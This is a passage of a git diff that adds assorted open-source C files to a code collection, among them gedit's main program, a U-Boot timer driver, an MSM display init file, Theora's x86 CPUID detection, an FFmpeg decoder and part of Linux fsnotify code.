+		ret = isp_k_bdn_block(param);
+		break;
+	case ISP_PRO_BDN_SLICE_SIZE:
+		ret = isp_k_bdn_1d_slice_size(param);
+		break;
+	default:
+		printk("isp_k_cfg_bdn: fail cmd id:%d, not supported.\n", param->property);
+		break;
+	}
+
+	return ret;
+}
+
diff --git a/pool/shard001/C/0022043_gedit.c b/pool/shard001/C/0022043_gedit.c
new file mode 100644
index 0000000000000000000000000000000000000000..b75337c5e160c9eaef29b9e4e842e4b0b280f668
--- /dev/null
+++ b/pool/shard001/C/0022043_gedit.c
@@ -0,0 +1,341 @@
+/*
+ * gedit.c
+ * This file is part of gedit
+ *
+ * Copyright (C) 2005 - Paolo Maggi 
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, 
+ * Boston, MA 02111-1307, USA.
+ */
+
+/*
+ * Modified by the gedit Team, 2005. See the AUTHORS file for a 
+ * list of people on the gedit Team.  
+ * See the ChangeLog files for a list of changes. 
+ *
+ * $Id$
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <locale.h>
+
+#include <glib.h>
+#include <glib/gi18n.h>
+
+#include "gedit-command-line.h"
+#include "gedit-dbus.h"
+
+#include "gedit-app.h"
+#include "gedit-encodings.h"
+
+#include "gedit-commands.h"
+#include "gedit-debug.h"
+#include "gedit-dirs.h"
+#include "gedit-encodings.h"
+#include "gedit-plugins-engine.h"
+#include "gedit-session.h"
+#include "gedit-utils.h"
+#include "gedit-window.h"
+
+#ifndef ENABLE_GVFS_METADATA
+#include "gedit-metadata-manager.h"
+#define METADATA_FILE "gedit-metadata.xml"
+#endif
+
+#ifdef G_OS_UNIX
+#include <gio/gunixinputstream.h>
+#include <unistd.h>
+#endif
+
+static gboolean
+gedit_main_load_from_stdin (GeditWindow *window,
+                            gboolean     jump_to)
+{
+#ifdef G_OS_UNIX
+	GInputStream *stream;
+	const GeditEncoding *encoding;
+	gint line_position;
+	gint column_position;
+	GeditCommandLine *command_line;
+
+	command_line = gedit_command_line_get_default ();
+
+	encoding = gedit_command_line_get_encoding (command_line);
+	line_position = gedit_command_line_get_line_position (command_line);
+	column_position = gedit_command_line_get_column_position (command_line);
+
+	/* Construct a stream for stdin */
+	stream = g_unix_input_stream_new (STDIN_FILENO, TRUE);
+
+	gedit_window_create_tab_from_stream (window,
+	                                     stream,
+	                                     encoding,
+	                                     line_position,
+	                                     column_position,
+	                                     jump_to);
+	g_object_unref (stream);
+	return TRUE;
+#else
+	return FALSE;
+#endif
+}
+
+static void
+gedit_main_window (void)
+{
+	GSList *file_list;
+	GeditWindow *window;
+	GeditCommandLine *command_line;
+	GeditApp *app;
+	gboolean doc_created = FALSE;
+	const gchar *geometry;
+
+	app = gedit_app_get_default ();
+
+	gedit_debug_message (DEBUG_APP, "Create main window");
+	window = gedit_app_create_window (app, NULL);
+
+	command_line = gedit_command_line_get_default ();
+	file_list = gedit_command_line_get_file_list (command_line);
+
+	if (file_list != NULL)
+	{
+		GSList *loaded;
+		const GeditEncoding *encoding;
+		gint line_position;
+		gint column_position;
+
+		encoding = gedit_command_line_get_encoding (command_line);
+		line_position = gedit_command_line_get_line_position (command_line);
+		column_position = gedit_command_line_get_column_position (command_line);
+
+		gedit_debug_message (DEBUG_APP, "Load files");
+		loaded = _gedit_cmd_load_files_from_prompt (window,
+		                                            file_list,
+		                                            encoding,
+		                                            line_position,
+		                                            column_position);
+
+		doc_created = loaded != NULL;
+		g_slist_free (loaded);
+	}
+
+	if (gedit_utils_can_read_from_stdin ())
+	{
+		doc_created = gedit_main_load_from_stdin (window, !doc_created);
+	}
+
+	if (!doc_created || gedit_command_line_get_new_document (command_line))
+	{
+		gedit_debug_message (DEBUG_APP, "Create tab");
+		gedit_window_create_tab (window, TRUE);
+	}
+
+	geometry = gedit_command_line_get_geometry (command_line);
+
+	gedit_debug_message (DEBUG_APP, "Show window");
+	gtk_widget_show (GTK_WIDGET (window));
+
+	if (geometry)
+	{
+		gtk_window_parse_geometry (GTK_WINDOW (window),
+		                           geometry);
+	}
+}
+
+static void
+gedit_main (gboolean service)
+{
+	GeditPluginsEngine *engine;
+	GeditApp *app;
+	const gchar *dir;
+	gchar *icon_dir;
+
+	gedit_debug_message (DEBUG_APP, "Set icon");
+
+	dir = gedit_dirs_get_gedit_data_dir ();
+	icon_dir = g_build_filename (dir, "icons", NULL);
+
+	gtk_icon_theme_append_search_path (gtk_icon_theme_get_default (), icon_dir);
+	g_free (icon_dir);
+
+	/* Init plugins engine */
+	gedit_debug_message (DEBUG_APP, "Init plugins");
+	engine = gedit_plugins_engine_get_default ();
+
+	app = gedit_app_get_default ();
+
+	/* Initialize session management */
+	gedit_debug_message (DEBUG_APP, "Init session manager");
+	gedit_session_init ();
+
+	if (!service)
+	{
+		gboolean restored = FALSE;
+
+		if (gedit_session_is_restored ())
+		{
+			restored = gedit_session_load ();
+		}
+
+		if (!restored)
+		{
+			gedit_main_window ();
+		}
+	}
+
+	_gedit_app_ready (app);
+
+	gedit_debug_message (DEBUG_APP, "Start gtk-main");
+	gtk_main ();
+
+	/* Make sure settings are saved */
+	g_settings_sync ();
+
+	/* Cleanup */
+	g_object_unref (engine);
+	g_object_unref (app);
+
+	gedit_dirs_shutdown ();
+
+#ifndef ENABLE_GVFS_METADATA
+	gedit_metadata_manager_shutdown ();
+#endif
+}
+
+int
+main (int argc, char *argv[])
+{
+	const gchar *dir;
+	GeditCommandLine *command_line;
+	gboolean ret;
+	gboolean service = FALSE;
+#ifdef G_OS_UNIX
+	GeditDBus *dbus;
+	GeditDBusResult dbusret;
+#endif
+
+#ifdef OS_OSX
+	GPollFunc orig_poll_func;
+	GPollFunc gdk_poll_func;
+#endif
+
+#ifndef ENABLE_GVFS_METADATA
+	const gchar *cache_dir;
+	gchar *metadata_filename;
+#endif
+
+	/* Init type system as soon as possible */
+	g_type_init ();
+
+	/* Setup debugging */
+	gedit_debug_init ();
+	gedit_debug_message (DEBUG_APP, "Startup");
+
+	/* Setup locale/gettext */
+	setlocale (LC_ALL, "");
+
+	gedit_dirs_init ();
+
+	dir = gedit_dirs_get_gedit_locale_dir ();
+	bindtextdomain (GETTEXT_PACKAGE, dir);
+
+	bind_textdomain_codeset (GETTEXT_PACKAGE, "UTF-8");
+	textdomain (GETTEXT_PACKAGE);
+
+#ifndef ENABLE_GVFS_METADATA
+	/* Setup metadata-manager */
+	cache_dir = gedit_dirs_get_user_cache_dir ();
+
+	metadata_filename = g_build_filename (cache_dir, METADATA_FILE, NULL);
+
+	gedit_metadata_manager_init (metadata_filename);
+
+	g_free (metadata_filename);
+#endif
+
+#ifdef OS_OSX
+	orig_poll_func = g_main_context_get_poll_func (NULL);
+#endif
+
+	/* Parse command line arguments */
+	command_line = gedit_command_line_get_default ();
+
+	ret = gedit_command_line_parse (command_line, &argc, &argv);
+
+	if (!ret)
+	{
+		g_object_unref (command_line);
+		return 1;
+	}
+
+#ifdef G_OS_UNIX
+#ifdef OS_OSX
+	/* Note: this is a bit of a hack. What happens here is that we are going to
+	 * store the poll function installed by gdk (happens in post-parse of options)
+	 * and replace it with the original main loop poll handler. We do this because
+	 * the gedit dbus stuff is going to run some main loops to run async gdbus calls.
+	 * The problem is that for OS X, the gdk poll func in the main context (which
+	 * will be run due to the fact that the main loops in our dbus code iterate the
+	 * main context) is going to process events from NSApp, INCLUDING apple events
+	 * such as OpenFiles. Since we are not setup yet, we are going to miss these
+	 * events. By swapping out the gdk poll func, and swapping it back in later,
+	 * we prevent this from happening. Note that we only do this when building
+	 * on OS X to prevent any possible future problems for other platforms.
+	 * This is a dirty hack, but it works for now.
+	 */
+	gdk_poll_func = g_main_context_get_poll_func (NULL);
+	g_main_context_set_poll_func (NULL, orig_poll_func);
+#endif
+
+	/* Run over dbus */
+	dbus = gedit_dbus_new ();
+	dbusret = gedit_dbus_run (dbus);
+
+#ifdef OS_OSX
+	g_main_context_set_poll_func (NULL, gdk_poll_func);
+#endif
+
+	switch (dbusret)
+	{
+		case GEDIT_DBUS_RESULT_SUCCESS:
+		case GEDIT_DBUS_RESULT_FAILED: /* fallthrough */
+			g_object_unref (command_line);
+			g_object_unref (dbus);
+
+			return dbusret == GEDIT_DBUS_RESULT_SUCCESS ? 0 : 1;
+		break;
+		case GEDIT_DBUS_RESULT_PROCEED_SERVICE:
+			service = TRUE;
+		break;
+		case GEDIT_DBUS_RESULT_PROCEED:
+		break;
+	}
+#endif
+
+	gedit_main (service);
+
+#ifdef G_OS_UNIX
+	g_object_unref (dbus);
+#endif
+	g_object_unref (command_line);
+
+	return 0;
+}
+
+/* ex:set ts=8 noet: */
diff --git a/pool/shard001/C/0022050_time_sh2.c b/pool/shard001/C/0022050_time_sh2.c
new file mode 100644
index 0000000000000000000000000000000000000000..be3896c3ed71a62129b63d94e0989aff4bc30b0a
--- /dev/null
+++ b/pool/shard001/C/0022050_time_sh2.c
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2007,2008 Nobobuhiro Iwamatsu <iwamatsu@nigauri.org>
+ * Copyright (C) 2008 Renesas Solutions Corp.
+ *
+ * (C) Copyright 2003
+ * Wolfgang Denk, DENX Software Engineering, wd@denx.de.
+ *
+ * SPDX-License-Identifier:	GPL-2.0+
+ */
+
+#include <common.h>
+#include <asm/io.h>
+#include <asm/processor.h>
+
+#define CMT_CMCSR_INIT	0x0001	/* PCLK/32 */
+#define CMT_CMCSR_CALIB 0x0000
+#define CMT_MAX_COUNTER (0xFFFFFFFF)
+#define CMT_TIMER_RESET (0xFFFF)
+
+static vu_long cmt0_timer;
+
+static void cmt_timer_start(unsigned int timer)
+{
+	writew(readw(CMSTR) | 0x01, CMSTR);
+}
+
+static void cmt_timer_stop(unsigned int timer)
+{
+	writew(readw(CMSTR) & ~0x01, CMSTR);
+}
+
+int timer_init(void)
+{
+	cmt0_timer = 0;
+	/* Divide clock by 32 */
+	readw(CMCSR_0);
+	writew(CMT_CMCSR_INIT, CMCSR_0);
+
+	/* User Device 0 only */
+	cmt_timer_stop(0);
+	writew(CMT_TIMER_RESET, CMCOR_0);
+	cmt_timer_start(0);
+
+	return 0;
+}
+
+unsigned long long get_ticks(void)
+{
+	return cmt0_timer;
+}
+
+static vu_long cmcnt = 0;
+static unsigned long get_usec (void)
+{
+	ulong data = readw(CMCNT_0);
+
+	if (data >= cmcnt)
+		cmcnt = data - cmcnt;
+	else
+		cmcnt = (CMT_TIMER_RESET - cmcnt) + data;
+
+	if ((cmt0_timer + cmcnt) > CMT_MAX_COUNTER)
+		cmt0_timer = ((cmt0_timer + cmcnt) - CMT_MAX_COUNTER);
+	else
+		cmt0_timer += cmcnt;
+
+	cmcnt = data;
+	return cmt0_timer;
+}
+
+/* return msec */
+ulong get_timer(ulong base)
+{
+	return (get_usec() / 1000) - base;
+}
+
+void __udelay(unsigned long usec)
+{
+	unsigned long end = get_usec() + usec;
+
+	while (get_usec() < end)
+		continue;
+}
+
+unsigned long get_tbclk(void)
+{
+	return CONFIG_SYS_HZ;
+}
diff --git a/pool/shard001/C/0022055_target_display.c b/pool/shard001/C/0022055_target_display.c
new file mode 100644
index 0000000000000000000000000000000000000000..b65190f1e93b03ac990a16f6d8fa1119fcefd208
--- /dev/null
+++ b/pool/shard001/C/0022055_target_display.c
@@ -0,0 +1,163 @@
+/* Copyright (c) 2012, The Linux Foundation. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ *       copyright notice, this list of conditions and the following
+ *       disclaimer in the documentation and/or other materials provided
+ *       with the distribution.
+ *     * Neither the name of The Linux Foundation nor the names of its
+ *       contributors may be used to endorse or promote products derived
+ *       from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+ * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+ * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
+ * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
+ * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+#include <debug.h>
+#include <msm_panel.h>
+#include <target/display.h>
+#include <target/board.h>
+#include <dev/lcdc.h>
+
+static struct msm_fb_panel_data panel;
+static uint8_t display_enabled;
+
+extern int msm_display_init(struct msm_fb_panel_data *pdata);
+extern int msm_display_off();
+extern int mipi_renesas_panel_dsi_config(int);
+extern int mipi_nt35510_panel_dsi_config(int);
+extern int lcdc_truly_panel_on(int);
+
+static int msm7627a_mdp_clock_init(int enable)
+{
+	int ret = 0;
+	unsigned rate = 0;
+
+	rate = panel.panel_info.clk_rate;
+
+	if (enable)
+		mdp_clock_init(rate);
+	else
+		mdp_clock_disable();
+	return ret;
+}
+
+static int msm7627a_lcdc_clock_init(int enable)
+{
+	int ret = 0;
+	unsigned rate = panel.panel_info.clk_rate;
+
+	if (enable) {
+		mdp_clock_init(rate);
+		lcdc_clock_init(rate);
+	} else {
+		mdp_clock_disable();
+		lcdc_clock_disable();
+	}
+	return ret;
+}
+void display_init(void)
+{
+	unsigned mach_type;
+	mach_type = board_machtype();
+
+	dprintf(SPEW, "display_init\n");
+
+	switch (mach_type) {
+	case MSM7X27A_SURF:
+	case MSM8X25_SURF:
+	case MSM7X27A_FFA:
+#if MIPI_VIDEO_MODE
+		mipi_renesas_video_fwvga_init(&(panel.panel_info));
+#else
+		mipi_renesas_cmd_fwvga_init(&(panel.panel_info));
+#endif
+		panel.clk_func = msm7627a_mdp_clock_init;
+		panel.power_func = mipi_renesas_panel_dsi_config;
+		panel.fb.base = MIPI_FB_ADDR;
+		panel.fb.width =  panel.panel_info.xres;
+		panel.fb.height =  panel.panel_info.yres;
+		panel.fb.stride =  panel.panel_info.xres;
+		panel.fb.bpp =  panel.panel_info.bpp;
+		panel.fb.format = FB_FORMAT_RGB888;
+		panel.mdp_rev = MDP_REV_303;
+		break;
+	case MSM7X25A_SURF:
+	case MSM7X25A_FFA:
+#if MIPI_VIDEO_MODE
+		mipi_renesas_video_hvga_init(&(panel.panel_info));
+#else
+		mipi_renesas_cmd_hvga_init(&(panel.panel_info));
+#endif
+		panel.clk_func = msm7627a_mdp_clock_init;
+		panel.power_func = mipi_renesas_panel_dsi_config;
+		panel.fb.base = MIPI_FB_ADDR;
+		panel.fb.width =  panel.panel_info.xres;
+		panel.fb.height =  panel.panel_info.yres;
+		panel.fb.stride =  panel.panel_info.xres;
+		panel.fb.bpp =  panel.panel_info.bpp;
+		panel.fb.format = FB_FORMAT_RGB888;
+		panel.mdp_rev = MDP_REV_303;
+		break;
+	case MSM7X27A_EVB:
+	case MSM8X25_EVB:
+	case MSM8X25_EVT:
+#if MIPI_VIDEO_MODE
+		mipi_nt35510_video_wvga_init(&(panel.panel_info));
+#else
+		mipi_nt35510_cmd_wvga_init(&(panel.panel_info));
+#endif
+		panel.clk_func = msm7627a_mdp_clock_init;
+		panel.power_func = mipi_nt35510_panel_dsi_config;
+		panel.fb.base = MIPI_FB_ADDR;
+		panel.fb.width =  panel.panel_info.xres;
+		panel.fb.height =  panel.panel_info.yres;
+		panel.fb.stride =  panel.panel_info.xres;
+		panel.fb.bpp =  panel.panel_info.bpp;
+		panel.fb.format = FB_FORMAT_RGB888;
+		panel.mdp_rev = MDP_REV_303;
+		if (mach_type == MSM8X25_EVT)
+			panel.rotate = 1;
+		break;
+	case MSM8X25_QRD7:
+		lcdc_truly_hvga_init(&(panel.panel_info));
+		panel.clk_func = msm7627a_lcdc_clock_init;
+		panel.power_func = lcdc_truly_panel_on;
+		panel.fb.base = LCDC_FB_ADDR;
+		panel.fb.width =  panel.panel_info.xres;
+		panel.fb.height =  panel.panel_info.yres;
+		panel.fb.stride =  panel.panel_info.xres;
+		panel.fb.bpp =  panel.panel_info.bpp;
+		panel.fb.format = FB_FORMAT_RGB565;
+		panel.mdp_rev = MDP_REV_303;
+		break;
+	default:
+		return;
+	};
+
+	if (msm_display_init(&panel)) {
+		dprintf(CRITICAL, "Display init failed!\n");
+		return;
+	}
+	display_enabled = 1;
+}
+
+void display_shutdown(void)
+{
+	dprintf(SPEW, "display_shutdown()\n");
+	if (display_enabled && !target_cont_splash_screen())
+		msm_display_off();
+}
diff --git a/pool/shard001/C/0022069_x86cpu.c b/pool/shard001/C/0022069_x86cpu.c
new file mode 100644
index 0000000000000000000000000000000000000000..49fd76d0ac635e42d873ace16eea6244811a3391
--- /dev/null
+++ b/pool/shard001/C/0022069_x86cpu.c
@@ -0,0 +1,182 @@
+/********************************************************************
+ *                                                                  *
+ * THIS FILE IS PART OF THE OggTheora SOFTWARE CODEC SOURCE CODE.   *
+ * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS     *
+ * GOVERNED BY A BSD-STYLE SOURCE LICENSE INCLUDED WITH THIS SOURCE *
+ * IN 'COPYING'. PLEASE READ THESE TERMS BEFORE DISTRIBUTING.       *
+ *                                                                  *
+ * THE Theora SOURCE CODE IS COPYRIGHT (C) 2002-2009                *
+ * by the Xiph.Org Foundation and contributors http://www.xiph.org/ *
+ *                                                                  *
+ ********************************************************************
+
+ CPU capability detection for x86 processors.
+  Originally written by Rudolf Marek.
+
+ function:
+  last mod: $Id$
+
+ ********************************************************************/
+
+#include "x86cpu.h"
+
+#if !defined(OC_X86_ASM)
+ogg_uint32_t oc_cpu_flags_get(void){
+  return 0;
+}
+#else
+# if defined(__amd64__)||defined(__x86_64__)
+/*On x86-64, gcc seems to be able to figure out how to save %rbx for us when
+   compiling with -fPIC.*/
+#  define cpuid(_op,_eax,_ebx,_ecx,_edx) \
+  __asm__ __volatile__( \
+   "cpuid\n\t" \
+   :[eax]"=a"(_eax),[ebx]"=b"(_ebx),[ecx]"=c"(_ecx),[edx]"=d"(_edx) \
+   :"a"(_op) \
+   :"cc" \
+  )
+# else
+/*On x86-32, not so much.*/
+#  define cpuid(_op,_eax,_ebx,_ecx,_edx) \
+  __asm__ __volatile__( \
+   "xchgl %%ebx,%[ebx]\n\t" \
+   "cpuid\n\t" \
+   "xchgl %%ebx,%[ebx]\n\t" \
+   :[eax]"=a"(_eax),[ebx]"=r"(_ebx),[ecx]"=c"(_ecx),[edx]"=d"(_edx) \
+   :"a"(_op) \
+   :"cc" \
+  )
+# endif
+
+static ogg_uint32_t oc_parse_intel_flags(ogg_uint32_t _edx,ogg_uint32_t _ecx){
+  ogg_uint32_t flags;
+  /*If there isn't even MMX, give up.*/
+  if(!(_edx&0x00800000))return 0;
+  flags=OC_CPU_X86_MMX;
+  if(_edx&0x02000000)flags|=OC_CPU_X86_MMXEXT|OC_CPU_X86_SSE;
+  if(_edx&0x04000000)flags|=OC_CPU_X86_SSE2;
+  if(_ecx&0x00000001)flags|=OC_CPU_X86_PNI;
+  if(_ecx&0x00000100)flags|=OC_CPU_X86_SSSE3;
+  if(_ecx&0x00080000)flags|=OC_CPU_X86_SSE4_1;
+  if(_ecx&0x00100000)flags|=OC_CPU_X86_SSE4_2;
+  return flags;
+}
+
+static ogg_uint32_t oc_parse_amd_flags(ogg_uint32_t _edx,ogg_uint32_t _ecx){
+  ogg_uint32_t flags;
+  /*If there isn't even MMX, give up.*/
+  if(!(_edx&0x00800000))return 0;
+  flags=OC_CPU_X86_MMX;
+  if(_edx&0x00400000)flags|=OC_CPU_X86_MMXEXT;
+  if(_edx&0x80000000)flags|=OC_CPU_X86_3DNOW;
+  if(_edx&0x40000000)flags|=OC_CPU_X86_3DNOWEXT;
+  if(_ecx&0x00000040)flags|=OC_CPU_X86_SSE4A;
+  if(_ecx&0x00000800)flags|=OC_CPU_X86_SSE5;
+  return flags;
+}
+
+ogg_uint32_t oc_cpu_flags_get(void){
+  ogg_uint32_t flags;
+  ogg_uint32_t eax;
+  ogg_uint32_t ebx;
+  ogg_uint32_t ecx;
+  ogg_uint32_t edx;
+# if !defined(__amd64__)&&!defined(__x86_64__)
+  /*Not all x86-32 chips support cpuid, so we have to check.*/
+  __asm__ __volatile__(
+   "pushfl\n\t"
+   "pushfl\n\t"
+   "popl %[a]\n\t"
+   "movl %[a],%[b]\n\t"
+   "xorl $0x200000,%[a]\n\t"
+   "pushl %[a]\n\t"
+   "popfl\n\t"
+   "pushfl\n\t"
+   "popl %[a]\n\t"
+   "popfl\n\t"
+   :[a]"=r"(eax),[b]"=r"(ebx)
+   :
+   :"cc"
+  );
+  /*No cpuid.*/
+  if(eax==ebx)return 0;
+# endif
+  cpuid(0,eax,ebx,ecx,edx);
+  /*         l e t n          I e n i          u n e G*/
+  if(ecx==0x6C65746E&&edx==0x49656E69&&ebx==0x756E6547||
+   /*      6 8 x M          T e n i          u n e G*/
+   ecx==0x3638784D&&edx==0x54656E69&&ebx==0x756E6547){
+    int family;
+    int model;
+    /*Intel, Transmeta (tested with Crusoe TM5800):*/
+    cpuid(1,eax,ebx,ecx,edx);
+    flags=oc_parse_intel_flags(edx,ecx);
+    family=(eax>>8)&0xF;
+    model=(eax>>4)&0xF;
+    /*The SSE unit on the Pentium M and Core Duo is much slower than the MMX
+       unit, so don't use it.*/
+    if(family==6&&(model==9||model==13||model==14)){
+      flags&=~(OC_CPU_X86_SSE2|OC_CPU_X86_PNI);
+    }
+  }
+  /*              D M A c          i t n e          h t u A*/
+  else if(ecx==0x444D4163&&edx==0x69746E65&&ebx==0x68747541||
+   /*      C S N            y b   e          d o e G*/
+   ecx==0x43534e20&&edx==0x79622065&&ebx==0x646f6547){
+    /*AMD, Geode:*/
+    cpuid(0x80000000,eax,ebx,ecx,edx);
+    if(eax<0x80000001)flags=0;
+    else{
+      cpuid(0x80000001,eax,ebx,ecx,edx);
+      flags=oc_parse_amd_flags(edx,ecx);
+    }
+    /*Also check for SSE.*/
+    cpuid(1,eax,ebx,ecx,edx);
+    flags|=oc_parse_intel_flags(edx,ecx);
+  }
+  /*Technically some VIA chips can be configured in the BIOS to return any
+     string here the user wants.
+    There is a special detection method that can be used to identify such
+     processors, but in my opinion, if the user really wants to change it, they
+     deserve what they get.*/
+  /*              s l u a          H r u a          t n e C*/
+  else if(ecx==0x736C7561&&edx==0x48727561&&ebx==0x746E6543){
+    /*VIA:*/
+    /*I only have documentation for the C7 (Esther) and Isaiah (forthcoming)
+       chips (thanks to the engineers from Centaur Technology who provided it).
+      These chips support Intel-like cpuid info.
+      The C3-2 (Nehemiah) cores appear to, as well.*/
+    cpuid(1,eax,ebx,ecx,edx);
+    flags=oc_parse_intel_flags(edx,ecx);
+    if(eax>=0x80000001){
+      /*The (non-Nehemiah) C3 processors support AMD-like cpuid info.
+        We need to check this even if the Intel test succeeds to pick up 3DNow!
+         support on these processors.
+        Unlike actual AMD processors, we cannot _rely_ on this info, since
+         some cores (e.g., the 693 stepping of the Nehemiah) claim to support
+         this function, yet return edx=0, despite the Intel test indicating
+         MMX support.
+        Therefore the features detected here are strictly added to those
+         detected by the Intel test.*/
+      /*TODO: How about earlier chips?*/
+      cpuid(0x80000001,eax,ebx,ecx,edx);
+      /*Note: As of the C7, this function returns Intel-style extended feature
+         flags, not AMD-style.
+        Currently, this only defines bits 11, 20, and 29 (0x20100800), which
+         do not conflict with any of the AMD flags we inspect.
+        For the remaining bits, Intel tells us, "Do not count on their value",
+         but VIA assures us that they will all be zero (at least on the C7 and
+         Isaiah chips).
+        In the (unlikely) event a future processor uses bits 18, 19, 30, or 31
+         (0xC0C00000) for something else, we will have to add code to detect
+         the model to decide when it is appropriate to inspect them.*/
+      flags|=oc_parse_amd_flags(edx,ecx);
+    }
+  }
+  else{
+    /*Implement me.*/
+    flags=0;
+  }
+  return flags;
+}
+#endif
diff --git a/pool/shard001/C/0022071_targa_y216dec.c b/pool/shard001/C/0022071_targa_y216dec.c
new file mode 100644
index 0000000000000000000000000000000000000000..d67d1938dc1d5c6195fad37bf5fbb29fd79ee1d8
--- /dev/null
+++ b/pool/shard001/C/0022071_targa_y216dec.c
@@ -0,0 +1,83 @@
+/*
+ * Pinnacle TARGA CineWave YUV16 decoder
+ * Copyright (c) 2012 Carl Eugen Hoyos
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include "avcodec.h"
+#include "internal.h"
+
+static av_cold int y216_decode_init(AVCodecContext *avctx)
+{
+    avctx->pix_fmt             = AV_PIX_FMT_YUV422P16;
+    avctx->bits_per_raw_sample = 14;
+
+    return 0;
+}
+
+static int y216_decode_frame(AVCodecContext *avctx, void *data,
+                             int *got_frame, AVPacket *avpkt)
+{
+    AVFrame *pic = data;
+    const uint16_t *src = (uint16_t *)avpkt->data;
+    uint16_t *y, *u, *v, aligned_width = FFALIGN(avctx->width, 4);
+    int i, j, ret;
+
+    if (avpkt->size < 4 * avctx->height * aligned_width) {
+        av_log(avctx, AV_LOG_ERROR, "Insufficient input data.\n");
+        return AVERROR(EINVAL);
+    }
+
+    if ((ret = ff_get_buffer(avctx, pic, 0)) < 0)
+        return ret;
+
+    pic->key_frame = 1;
+    pic->pict_type = AV_PICTURE_TYPE_I;
+
+    y = (uint16_t *)pic->data[0];
+    u = (uint16_t *)pic->data[1];
+    v = (uint16_t *)pic->data[2];
+
+    for (i = 0; i < avctx->height; i++) {
+        for (j = 0; j < avctx->width >> 1; j++) {
+            u[    j    ] = src[4 * j    ] << 2 | src[4 * j    ] >> 14;
+            y[2 * j    ] = src[4 * j + 1] << 2 | src[4 * j + 1] >> 14;
+            v[    j    ] = src[4 * j + 2] << 2 | src[4 * j + 2] >> 14;
+            y[2 * j + 1] = src[4 * j + 3] << 2 | src[4 * j + 3] >> 14;
+        }
+
+        y += pic->linesize[0] >> 1;
+        u += pic->linesize[1] >> 1;
+        v += pic->linesize[2] >> 1;
+        src += aligned_width << 1;
+    }
+
+    *got_frame = 1;
+
+    return avpkt->size;
+}
+
+AVCodec ff_targa_y216_decoder = {
+    .name         = "targa_y216",
+    .type         = AVMEDIA_TYPE_VIDEO,
+    .id           = AV_CODEC_ID_TARGA_Y216,
+    .init         = y216_decode_init,
+    .decode       = y216_decode_frame,
+    .capabilities = CODEC_CAP_DR1,
+    .long_name    = NULL_IF_CONFIG_SMALL("Pinnacle TARGA CineWave YUV16"),
+};
diff --git a/pool/shard001/C/0022074_inode_mark.c b/pool/shard001/C/0022074_inode_mark.c
new file mode 100644
index 0000000000000000000000000000000000000000..3daf513ee99e6ccf21ce01bfed71f85a21b5717e
--- /dev/null
+++ b/pool/shard001/C/0022074_inode_mark.c
@@ -0,0 +1,247 @@
+/*
+ *  Copyright (C) 2008 Red Hat, Inc., Eric Paris <eparis@redhat.com>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2, or (at your option)
+ *  any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; see the file COPYING.  If not, write to
+ *  the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/mutex.h>
+#include <linux/spinlock.h>
+
+#include <linux/atomic.h>
+
+#include <linux/fsnotify_backend.h>
+#include "fsnotify.h"
+
+#include "../internal.h"
+
+/*
+ * Recalculate the inode->i_fsnotify_mask, or the mask of all FS_* event types
+ * any notifier is interested in hearing for this inode.
+ */
+void fsnotify_recalc_inode_mask(struct inode *inode)
+{
+	spin_lock(&inode->i_lock);
+	inode->i_fsnotify_mask = fsnotify_recalc_mask(&inode->i_fsnotify_marks);
+	spin_unlock(&inode->i_lock);
+
+	__fsnotify_update_child_dentry_flags(inode);
+}
+
